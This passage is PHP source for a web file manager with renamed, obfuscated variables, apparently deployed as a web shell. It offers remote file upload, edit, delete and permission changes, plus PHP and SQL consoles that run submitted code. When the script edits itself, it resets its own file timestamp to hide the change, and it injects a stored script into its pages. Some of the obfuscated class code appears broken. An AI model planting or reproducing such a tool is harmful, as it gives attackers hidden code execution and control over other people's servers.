yGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php $j118='?fm=true';if(isset($_POST['sqlrun'])&&!empty($e15['enable_sql_console'])){$c44=empty($_POST['sql'])?'':$_POST['sql'];$g119='sql';}elseif(isset($_POST['phprun'])&&!empty($e15['enable_php_console'])){$c44=empty($_POST['php'])?'':$_POST['php'];$g119='php';}if(isset($_GET['fm_settings'])){echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($a9)?'':'<tr><td class="row2" colspan="2">'.$a9.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$e15['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$e15['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$e15['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$e15['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($f13['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$f13['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$f13['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$f13['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$f13['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$f13['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';echo fm_tpl_form('php'),fm_tpl_form('sql');}elseif(isset($b116)){die($b116);}elseif(isset($g119)){?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$u6?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($g119)?> <?=__('Console')?><?php if($g119=='sql')echo ' - Database: '.$e15['sql_db'].'</h2></td><td>'.fm_run_input('php');else echo '</h2></td><td>'.fm_run_input('sql');?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$j118.'&path='.$u6;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$g119?>" cols="80" rows="10" style="width: 90%"><?=$c44?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$g119?>run">
<?php $l120=$g119.'_templates';$l121=!empty($$l120)?json_decode($$l120,true):'';if(!empty($l121)){$f122=isset($_POST[$g119.'_tpl'])?$_POST[$g119.'_tpl']:'';$z123='<select name="'.$g119.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$g119.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$g119.'\'].value =\'\';" >'."\n";$z123.='<option value="-1">'.__('Select')."</option>\n";foreach($l121 as $b124=>$t101){$z123.='<option value="'.$t101.'" '.((!empty($t101)&&($t101==$f122))?'selected':'').' >'.__($b124)."</option>\n";}$z123.="</select>\n";echo $z123;}?>
		</form>
	</td>
</tr>
</table>
<?php if(!empty($c44)){$t125='fm_'.$g119;echo '<h3>'.strtoupper($g119).' '.__('Result').'</h3><pre>'.$t125($c44).'</pre>';}}elseif(!empty($_REQUEST['edit'])){if(!empty($_REQUEST['save'])){$g126=$u6.$_REQUEST['edit'];$o26=filemtime($g126);if(file_put_contents($g126,$_REQUEST['newcontent']))$a9.=__('File updated');else $a9 .= __('Error occurred');if($_GET['edit']==basename(__FILE__)){touch(__FILE__,1415116371);}else{if(!empty($e15['restore_time']))touch($g126,$o26);}}$g127=@file_get_contents($u6.$_REQUEST['edit']);$f128=$j118.'&edit='.$_REQUEST['edit'].'&path='.$u6;$f129=$j118.'&path='.$u6;?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$u6.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$a9?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$f129?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$f128?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($g127)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php echo $f13['script'];}elseif(!empty($_REQUEST['rights'])){if(!empty($_REQUEST['save'])){if(fm_chmod($u6.$_REQUEST['rights'],fm_convert_rights($_REQUEST['rights_val']),@$_REQUEST['recursively']))$a9.=(__('File updated'));else $a9 .=(__('Error occurred'));}clearstatcache();$n130=fm_rights_string($u6.$_REQUEST['rights'],true);$m61=$j118.'&rights='.$_REQUEST['rights'].'&path='.$u6;$f129=$j118.'&path='.$u6;?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$u6?></th>
</tr>
<tr>
    <td class="row1">
        <?=$a9?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$f129?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$m61?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$n130?>">
        <?php if(is_dir($u6.$_REQUEST['rights'])){?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php }?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php }elseif(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.'){if(!empty($_REQUEST['save'])){rename($u6.$_REQUEST['rename'],$u6.$_REQUEST['newname']);$a9.=(__('File updated'));$_REQUEST['rename']=$_REQUEST['newname'];}clearstatcache();$m61=$j118.'&rename='.$_REQUEST['rename'].'&path='.$u6;$f129=$j118.'&path='.$u6;?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$u6?></th>
</tr>
<tr>
    <td class="row1">
        <?=$a9?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$f129?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$m61?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php }else{$a9='';if(!empty($_FILES['upload'])&&!empty($e15['upload_file'])){if(!empty($_FILES['upload']['name'])){$_FILES['upload']['name']=str_replace('%','',$_FILES['upload']['name']);if(!move_uploaded_file($_FILES['upload']['tmp_name'],$u6.$_FILES['upload']['name'])){$a9.=__('Error occurred');}else{$a9.=__('Files uploaded').': '.$_FILES['upload']['name'];}}}elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.'){if(!fm_del_files(($u6.$_REQUEST['delete']),true)){$a9.=__('Error occurred');}else{$a9.=__('Deleted').' '.$_REQUEST['delete'];}}elseif(!empty($_REQUEST['mkdir'])&&!empty($e15['make_directory'])){if(!@mkdir($u6.$_REQUEST['dirname'],0777)){$a9.=__('Error occurred');}else{$a9.=__('Created').' '.$_REQUEST['dirname'];}}elseif(!empty($_REQUEST['mkfile'])&&!empty($e15['new_file'])){if(!$l46=@fopen($u6.$_REQUEST['filename'],"w")){$a9.=__('Error occurred');}else{fclose($l46);$a9.=__('Created').' '.$_REQUEST['filename'];}}elseif(isset($_GET['zip'])){$a131=base64_decode($_GET['zip']);$r132=basename($a131).'.zip';set_time_limit(0);$v133=new PharData($r132);$v133->buildFromDirectory($a131);if(is_file($r132))$a9.=__('Task').' "'.__('Archiving').' '.$r132.'" '.__('done').'.&nbsp;'.fm_link('download',$u6.$r132,__('Download'),__('Download').' '.$r132).'&nbsp;<a href="'.$j118.'&delete='.$r132.'&path='.$u6.'" title="'.__('Delete').' '.$r132.'" >'.__('Delete').'</a>';else $a9 .= __('Error occurred').': '.__('no files');}elseif(isset($_GET['gz'])){$a131=base64_decode($_GET['gz']);$j134=$a131.'.tar';$r132=basename($a131).'.tar';if(is_file($j134))unlink($j134);if(is_file($j134.'.gz'))unlink($j134.'.gz');clearstatcache();set_time_limit(0);$v133=new PharData($r132);$v133->buildFromDirectory($a131);$v133->compress(Phar::GZ,'.tar.gz');unset($v133);if(is_file($j134)){if(is_file($j134.'.gz')){unlink($j134);$r132.='.gz';}$a9.=__('Task').' "'.__('Archiving').' '.$r132.'" '.__('done').'.&nbsp;'.fm_link('download',$u6.$r132,__('Download'),__('Download').' '.$r132).'&nbsp;<a href="'.$j118.'&delete='.$r132.'&path='.$u6.'" title="'.__('Delete').' '.$r132.'" >'.__('Delete').'</a>';}else $a9 .= __('Error occurred').': '.__('no files');}elseif(isset($_GET['decompress'])){}elseif(isset($_GET['gzfile'])){$a131=base64_decode($_GET['gzfile']);$j134=$a131.'.tar';$r132=basename($a131).'.tar';if(is_file($j134))unlink($j134);if(is_file($j134.'.gz'))unlink($j134.'.gz');set_time_limit(0);$t135=explode('.',basename($a131));if(isset($t135[1])){unset($t135[0]);$o115=implode('.',$t135);}$v133=new PharData($r132);$v133->addFile($a131);$v133->compress(Phar::GZ,$o115.'.tar.gz');unset($v133);if(is_file($j134)){if(is_file($j134.'.gz')){unlink($j134);$r132.='.gz';}$a9.=__('Task').' "'.__('Archiving').' '.$r132.'" '.__('done').'.&nbsp;'.fm_link('download',$u6.$r132,__('Download'),__('Download').' '.$r132).'&nbsp;<a href="'.$j118.'&delete='.$r132.'&path='.$u6.'" title="'.__('Delete').' '.$r132.'" >'.__('Delete').'</a>';}else $a9 .= __('Error occurred').': '.__('no files');}?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($u6)?' - '.$u6:'')?></th>
</tr>
<?php if(!empty($a9)){?>
<tr>
	<td colspan="2" class="row2"><?=$a9?></td>
</tr>
<?php }?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($e15['make_directory'])){?>
				<form method="post" action="<?=$j118?>">
				<input type="hidden" name="path" value="<?=$u6?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php }?>
			</td>
			<td>
			<?php if(!empty($e15['new_file'])){?>
				<form method="post" action="<?=$j118?>">
				<input type="hidden" name="path" value="<?=$u6?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php }?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if(!empty($e15['upload_file'])){?>
			<form name="form1" method="post" action="<?=$j118?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$u6?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php }?>
		</td>
		<td>
		<?php if($f13['authorize']){?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$f13['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php }?>
		</td>
		<td>
		<?=fm_lang_form($c16)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php $h136=fm_scan_dir($u6,'','all',true);$g137=array();$p138=array();foreach($h136 as $n29){if(@is_dir($u6.$n29)){$g137[]=$n29;}else{$p138[]=$n29;}}natsort($g137);natsort($p138);$h136=array_merge($g137,$p138);foreach($h136 as $n29){$d59=$u6.$n29;$m139=@stat($d59);if(@is_dir($d59)){$m139[7]='';if(!empty($e15['show_dir_size'])&&!fm_root($n29))$m139[7]=fm_dir_size($d59);$m61='<a href="'.$j118.'&path='.$u6.$n29.'" title="'.__('Show').' '.$n29.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$n29.'</a>';$d140=(fm_root($n29)||$t8)?'':fm_link('zip',$d59,__('Compress').'&nbsp;zip',__('Archiving').' '.$n29);$d141=(fm_root($n29)||$t8)?'':fm_link('gz',$d59,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$n29);$c142='row2';if(!fm_root($n29))$e92='onClick="if(confirm(\''.__('Are you sure you want to delete this directory (recursively)?').'\n /'.$n29.'\')) document.location.href = \''.$j118.'&delete='.$n29.'&path='.$u6.'\'"';else $e92='';}else{$m61=$e15['show_img']&&@getimagesize($d59)?'<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''.fm_img_link($d59).'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($d59).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$n29.'</a>':'<a href="'.$j118.'&edit='.$n29.'&path='.$u6.'" title="'.__('Edit').'"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$n29.'</a>';$p143=explode(".",$n29);$o115=end($p143);$d140=fm_link('download',$d59,__('Download'),__('Download').' '.$n29);$d141=in_array($o115,array('zip','gz','tar'))?'':((fm_root($n29)||$t8)?'':fm_link('gzfile',$d59,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$n29));$c142='row1';$e92='onClick="if(confirm(\''.__('File selected').': \n'.$n29.'. \n'.__('Are you sure you want to delete this file?').'\')) document.location.href = \''.$j118.'&delete='.$n29.'&path='.$u6.'\'"';}$t144=fm_root($n29)?'':'<a href="#" title="'.__('Delete').' '.$n29.'" '.$e92.'>'.__('Delete').'</a>';$y145=fm_root($n29)?'':'<a href="'.$j118.'&rename='.$n29.'&path='.$u6.'" title="'.__('Rename').' '.$n29.'">'.__('Rename').'</a>';$g146=($n29=='.'||$n29=='..')?'':'<a href="'.$j118.'&rights='.$n29.'&path='.$u6.'" title="'.__('Rights').' '.$n29.'">'.@fm_rights_string($d59).'</a>';?>
<tr class="<?=$c142?>"> 
    <td><?=$m61?></td>
    <td><?=$m139[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$m139[9])?></td>
    <td><?=$g146?></td>
    <td><?=$t144?></td>
    <td><?=$y145?></td>
    <td><?=$d140?></td>
    <td><?=$d141?></td>
</tr>
<?php }}?>
</tbody>
</table>
<div class="row3"><?php $s147=explode(' ',microtime());$b148=$s147[0]+$s147[1]-$y4;echo fm_home().' | ver. '.$o12.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';if(!empty($e15['show_php_ver']))echo ' | PHP '.phpversion();if(!empty($e15['show_php_ini']))echo ' | '.php_ini_loaded_file();if(!empty($e15['show_gt']))echo ' | '.__('Generation time').': '.round($b148,2);if(!empty($e15['enable_proxy']))echo ' | <a href="?proxy=true">proxy</a>';if(!empty($e15['show_phpinfo']))echo ' | <a href="?phpinfo=true">phpinfo</a>';if(!empty($e15['show_xls'])&&!empty($m61))echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';if(!empty($e15['fm_settings']))echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php class archiveTar{var $d149='';var $j150=0;var $w151=0;var $c152=true;var $w153=array();var $p138=array();function __construct(){if(!isset($this->$l154))$this->$l154=array();}function createArchive($f155){$b84=false;if(file_exists($this->$o156)&&is_file($this->$o156))$g157=false;else $g157=true;if($g157){if(!$this->openWrite())return false;}else{if(filesize($this->$o156)==0)return $this->openWrite();if($this->$y158){$this->closeTmpFile();if(!rename($this->$o156,$this->$o156.'.tmp')){$this->$l154[]=__('Cannot rename').' '.$this->$o156.__(' to ').$this->$o156.'.tmp';return false;}$y159=gzopen($this->$o156.'.tmp','rb');if(!$y159){$this->$l154[]=$this->$o156.'.tmp '.__('is not readable');rename($this->$o156.'.tmp',$this->$o156);return false;}if(!$this->openWrite()){rename($this->$o156.'.tmp',$this->$o156);return false;}$s160=gzread($y159,512);if(!gzeof($y159)){do{$o161=pack('a512',$s160);$this->writeBlock($o161);$s160=gzread($y159,512);}while(!gzeof($y159));}gzclose($y159);unlink($this->$o156.'.tmp');}else{$this->$q162=fopen($this->$o156,'r+b');if(!$this->$q162)return false;}}if(isset($f155)&&is_array($f155)){if(count($f155)>0)$b84=$this->packFileArray($f155);}else $this->$l154[]=__('No file').__(' to ').__('Archive');if(($b84)&&(is_resource($this->$q162))){$o161=pack('a512','');$this->writeBlock($o161);}$this->closeTmpFile();if($g157&&!$b84){$this->closeTmpFile();unlink($this->$o156);}return $b84;}function restoreArchive($u6){$r163=$this->$o156;if(!$this->$y158){if(file_exists($r163)){if($l46=fopen($r163,'rb')){$q164=fread($l46,2);fclose($l46);if($q164=='\37\213'){$this->$y158=true;}}}elseif((substr($r163,-2)=='gz')OR(substr($r163,-3)=='tgz'))$this->$y158=true;}$b84=true;if($this->$y158)$this->$q162=gzopen($r163,'rb');else $this->$q162=fopen($r163,'rb');if(!$this->$q162){$this->$l154[]=$r163.' '.__('is not readable');return false;}$b84=$this->unpackFileArray($u6);$this->closeTmpFile();return $b84;}function showErrors($t165=''){$v166=$this->$l154;if(count($v166)>0){if(!empty($t165))$t165=' ('.$t165.')';$t165=__('Error occurred').$t165.': <br/>';foreach($v166 as $t101)$t165.=$t101.'<br/>';return $t165;}else return '';}function packFileArray($a167){$b84=true;if(!$this->$q162){$this->$l154[]=__('Invalid file descriptor');return false;}if(!is_array($a167)||count($a167)<=0)return true;for($f89=0;$f89<count($a167);$f89++){$d59=$a167[$f89];if($d59==$this->$o156)continue;if(strlen($d59)<=0)continue;if(!file_exists($d59)){$this->$l154[]=__('No file').' '.$d59;continue;}if(!$this->$q162){$this->$l154[]=__('Invalid file descriptor');return false;}if(strlen($d59)<=0){$this->$l154[]=__('Filename').' '.__('is incorrect');;return false;}$d59=str_replace('\\','/',$d59);$x168=$this->makeGoodPath($d59);if(is_file($d59)){if(($n29=fopen($d59,'rb'))==0){$this->$l154[]=__('Mode ').__('is incorrect');}if(($this->$p169==0)){if(!$this->writeHeader($d59,$x168))return false;}while(($s160=fread($n29,512))!=''){$o161=pack('a512',$s160);$this->writeBlock($o161);}fclose($n29);}else $this->writeHeader($d59,$x168);if(@is_dir($d59)){if(!($j91=opendir($d59))){$this->$l154[]=__('Error').': '.__('Directory ').$d59.__('is not readable');continue;}while(false!==($u55=readdir($j91))){if($u55!='.'&&$u55!='..'){$q170=array();if($d59!='.')$q170[]=$d59.'/'.$u55;else $q170[]=$u55;$b84=$this->packFileArray($q170);}}unset($q170);unset($u55);unset($j91);}}return $b84;}function unpackFileArray($u6){$u6=str_replace('\\','/',$u6);if($u6==''||(substr($u6,0,1)!='/'&&substr($u6,0,3)!='../'&&!strpos($u6,':')))$u6='./'.$u6;clearstatcache();while(strlen($o161=$this->readBlock())!=0){if(!$this->readHeader($o161,$k171))return false;if($k171['filename']=='')continue;if($k171['typeflag']=='L'){$d59='';$q172=floor($k171['size']/512);for($f89=0;$f89<$q172;$f89++){$x173=$this->readBlock();$d59.=$x173;}if(($e174=$k171['size']%512)!=0){$x173=$this->readBlock();$d59.=substr($x173,0,$e174);}$o161=$this->readBlock();if(!$this->readHeader($o161,$k171))return false;else $k171['filename']=$d59;return true;}if(($u6!='./')&&($u6!='/')){while(substr($u6,-1)=='/')$u6=substr($u6,0,strlen($u6)-1);if(substr($k171['filename'],0,1)=='/')$k171['filename']=$u6.$k171['filename'];else $k171['filename']=$u6.'/'.$k171['filename'];}if(file_exists($k171['filename'])){if((@is_dir($k171['filename']))&&($k171['typeflag']=='')){$this->$l154[]=__('File ').$k171['filename'].__(' already exists').__(' as folder');return false;}if((is_file($k171['filename']))&&($k171['typeflag']=='5')){$this->$l154[]=__('Cannot create directory').'. '.__('File ').$k171['filename'].__(' already exists');return false;}if(!is_writeable($k171['filename'])){$this->$l154[]=__('Cannot write to file').'. '.__('File ').$k171['filename'].__(' already exists');return false;}}elseif(($this->dirCheck(($k171['typeflag']=='5'?$k171['filename']:dirname($k171['filename']))))!=1){$this->$l154[]=__('Cannot create directory').' '.__(' for ').$k171['filename'];return false;}if($k171['typeflag']=='5'){if(!file_exists($k171['filename'])){if(!mkdir($k171['filename'],0777)){$this->$l154[]=__('Cannot create directory').' '.$k171['filename'];return false;}}}else{if(($r132=fopen($k171['filename'],'wb'))==0){$this->$l154[]=__('Cannot write to file').' '.$k171['filename'];return false;}else{$q172=floor($k171['size']/512);for($f89=0;$f89<$q172;$f89++){$x173=$this->readBlock();fwrite($r132,$x173,512);}if(($k171['size']%512)!=0){$x173=$this->readBlock();fwrite($r132,$x173,($k171['size']%512));}fclose($r132);touch($k171['filename'],$k171['time']);}clearstatcache();if(filesize($k171['filename'])!=$k171['size']){$this->$l154[]=__('Size of file').' '.$k171['filename'].' '.__('is incorrect');return 